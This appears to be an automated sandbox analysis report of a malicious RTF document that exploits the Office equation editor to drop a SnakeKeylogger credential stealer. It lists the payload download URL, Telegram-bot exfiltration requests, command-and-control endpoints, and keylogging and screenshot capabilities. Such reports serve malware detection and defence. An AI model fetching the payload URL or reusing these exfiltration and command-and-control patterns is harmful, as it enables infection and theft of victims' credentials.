Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:960781%0D%0ADate%20and%20Time:%2010/30/2024%20/%2010:40:52%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20960781%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /txt/qHbynE8Vgwabsy3.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 87.120.84.38Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: cdlpohayugo39567.exe, 00000007.00000002.910557349.0000000000554000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: global traffic DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic DNS traffic detected: DNS query: api.telegram.org
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 30 Oct 2024 07:20:16 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: cdlpohayugo39567.exe, 00000005.00000002.407925121.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.910514133.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000003.403039735.0000000000610000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.403118978.0000000000610000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.403105661.00000000005CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.120.84.38/txt/qHbynE8Vgwabsy3.exe
Source: EQNEDT32.EXE, 00000002.00000003.403039735.0000000000610000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.403118978.0000000000610000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.120.84.38/txt/qHbynE8Vgwabsy3.exeC:
Source: EQNEDT32.EXE, 00000002.00000002.403105661.00000000005CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.120.84.38/txt/qHbynE8Vgwabsy3.exeN
Source: EQNEDT32.EXE, 00000002.00000002.403105661.00000000005CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.120.84.38/txt/qHbynE8Vgwabsy3.exej
Source: EQNEDT32.EXE, 00000002.00000002.403105661.00000000005CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://87.120.84.38/txt/qHbynE8Vgwabsy3.exettC:
Source: cdlpohayugo39567.exe, 00000005.00000002.407925121.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.0000000002531000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.910514133.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://aborters.duckdns.org:8081
Source: cdlpohayugo39567.exe, 00000005.00000002.407925121.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.0000000002531000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.910514133.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://anotherarmy.dns.army:8081
Source: cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000026F4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://api.telegram.org
Source: cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000025D2000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.0000000002665000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000026D9000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.000000000268F000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000026BD000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000026CB000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.0000000002682000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.com
Source: cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000025D2000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.000000000269D000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.0000000002615000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.0000000002665000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000026D9000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000025C3000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.000000000268F000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000026BD000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000026CB000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.0000000002682000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org
Source: cdlpohayugo39567.exe, 00000007.00000002.911170867.0000000002531000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.910557349.0000000000554000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/
Source: cdlpohayugo39567.exe, 00000005.00000002.407925121.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.910514133.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://checkip.dyndns.org/q
Source: cdlpohayugo39567.exe, 00000007.00000002.912204117.0000000005A00000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: cdlpohayugo39567.exe, 00000007.00000002.910557349.0000000000554000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: cdlpohayugo39567.exe, 00000007.00000002.910557349.0000000000554000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: cdlpohayugo39567.exe, 00000007.00000002.910557349.0000000000554000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: cdlpohayugo39567.exe, 00000007.00000002.912204117.0000000005A00000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: cdlpohayugo39567.exe, 00000007.00000002.910557349.0000000000554000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: cdlpohayugo39567.exe, 00000007.00000002.910557349.0000000000554000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: cdlpohayugo39567.exe, 00000007.00000002.910557349.0000000000554000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: cdlpohayugo39567.exe, 00000007.00000002.910557349.0000000000554000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: cdlpohayugo39567.exe, 00000007.00000002.910557349.0000000000554000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: cdlpohayugo39567.exe, 00000007.00000002.910557349.0000000000554000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: cdlpohayugo39567.exe, 00000007.00000002.910557349.0000000000554000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: cdlpohayugo39567.exe, 00000007.00000002.910557349.0000000000554000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: cdlpohayugo39567.exe, 00000007.00000002.910557349.0000000000554000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: cdlpohayugo39567.exe, 00000007.00000002.911170867.0000000002665000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000026D9000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000025EA000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.000000000268F000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000026BD000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000026CB000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.0000000002682000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://reallyfreegeoip.org
Source: cdlpohayugo39567.exe, 00000005.00000002.407830206.00000000025BB000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.0000000002531000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: EQNEDT32.EXE, 00000002.00000003.403029344.0000000000621000.00000004.00000020.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000005.00000000.402963037.0000000000E82000.00000020.00000001.01000000.00000004.sdmp, qHbynE8Vgwabsy3[1].exe.2.dr, cdlpohayugo39567.exe.2.dr String found in binary or memory: http://tempuri.org/DataSet1.xsd
Source: cdlpohayugo39567.exe, 00000005.00000002.407925121.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.0000000002531000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.910514133.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://varders.kozow.com:8081
Source: cdlpohayugo39567.exe, 00000007.00000002.910557349.0000000000554000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: cdlpohayugo39567.exe, 00000007.00000002.910557349.0000000000554000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000027B7000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911778548.00000000035AB000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000027CA000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911778548.00000000035F7000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000027F8000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.000000000280B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000026F4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org
Source: cdlpohayugo39567.exe, 00000005.00000002.407925121.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000026EC000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.910514133.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot
Source: cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000026EC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000026F4000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000026EC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:960781%0D%0ADate%20a
Source: cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000027B7000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911778548.00000000035AB000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000027CA000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911778548.00000000035F7000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000027F8000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.000000000280B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000027B7000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911778548.00000000035AB000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000027CA000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911778548.00000000035F7000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000027F8000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.000000000280B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000027B7000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911778548.00000000035AB000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000027CA000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911778548.00000000035F7000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000027F8000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.000000000280B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000027B7000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911778548.00000000035AB000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000027CA000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911778548.00000000035F7000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000027F8000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.000000000280B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000025D2000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.0000000002615000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.0000000002665000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000026D9000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.000000000268F000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000026BD000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000026CB000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.0000000002682000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org
Source: cdlpohayugo39567.exe, 00000005.00000002.407925121.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000025D2000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.910514133.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: cdlpohayugo39567.exe, 00000007.00000002.911170867.0000000002682000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.78
Source: cdlpohayugo39567.exe, 00000007.00000002.911170867.0000000002615000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.0000000002665000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000026D9000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.000000000268F000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000026BD000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000026CB000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.0000000002682000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.784
Source: cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000027B7000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911778548.00000000035AB000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000027CA000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911778548.00000000035F7000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000027F8000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.000000000280B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000027B7000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911778548.00000000035AB000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000027CA000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911778548.00000000035F7000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.00000000027F8000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911170867.000000000280B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: cdlpohayugo39567.exe, 00000007.00000002.910557349.0000000000554000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: cdlpohayugo39567.exe, 00000007.00000002.911170867.000000000280B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/favicon.ico
Source: cdlpohayugo39567.exe, 00000007.00000002.911170867.000000000280B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=net
Source: cdlpohayugo39567.exe, 00000007.00000002.911170867.000000000280B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=test&oq=test&aqs=chrome..69i57j46j0l3j46j0.427j0j7&sourceid=chrome&i
Source: cdlpohayugo39567.exe, 00000007.00000002.911170867.000000000280B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=wmf
Source: cdlpohayugo39567.exe, 00000007.00000002.911170867.000000000280B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index
Source: cdlpohayugo39567.exe, 00000007.00000002.911170867.000000000280B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a
Source: cdlpohayugo39567.exe, 00000007.00000002.911170867.000000000280B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dwmf%2B5.1%26oq%3Dwmf
Source: cdlpohayugo39567.exe, 00000007.00000002.911778548.000000000365A000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911778548.0000000003638000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911778548.00000000036EC000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911778548.0000000003692000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911778548.0000000003746000.00000004.00000800.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000007.00000002.911778548.000000000370E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/sorry/indextest
Source: unknown Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49179
Source: unknown Network traffic detected: HTTP traffic on port 49164 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown Network traffic detected: HTTP traffic on port 49180 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49164
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49180
Source: unknown Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49166 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49174 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49179 -> 443
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49180 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality to capture screen (.Net source)
Source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.raw.unpack, COVID19.cs .Net Code: TakeScreenshot
Contains functionality to log keystrokes (.Net Source)
Source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.raw.unpack, COVID19.cs .Net Code: VKCodeToUnicode

System Summary
barindex
Initial sample is an obfuscated RTF file
Source: initial sample Static file information: Filename: na.doc
Malicious sample detected (through community Yara rule)
Source: na.doc, type: SAMPLE Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: 7.2.cdlpohayugo39567.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 7.2.cdlpohayugo39567.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 7.2.cdlpohayugo39567.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.cdlpohayugo39567.exe.3ed9e08.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000007.00000002.910514133.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000005.00000002.407925121.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: cdlpohayugo39567.exe PID: 3424, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: cdlpohayugo39567.exe PID: 3512, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\qHbynE8Vgwabsy3[1].exe Jump to dropped file
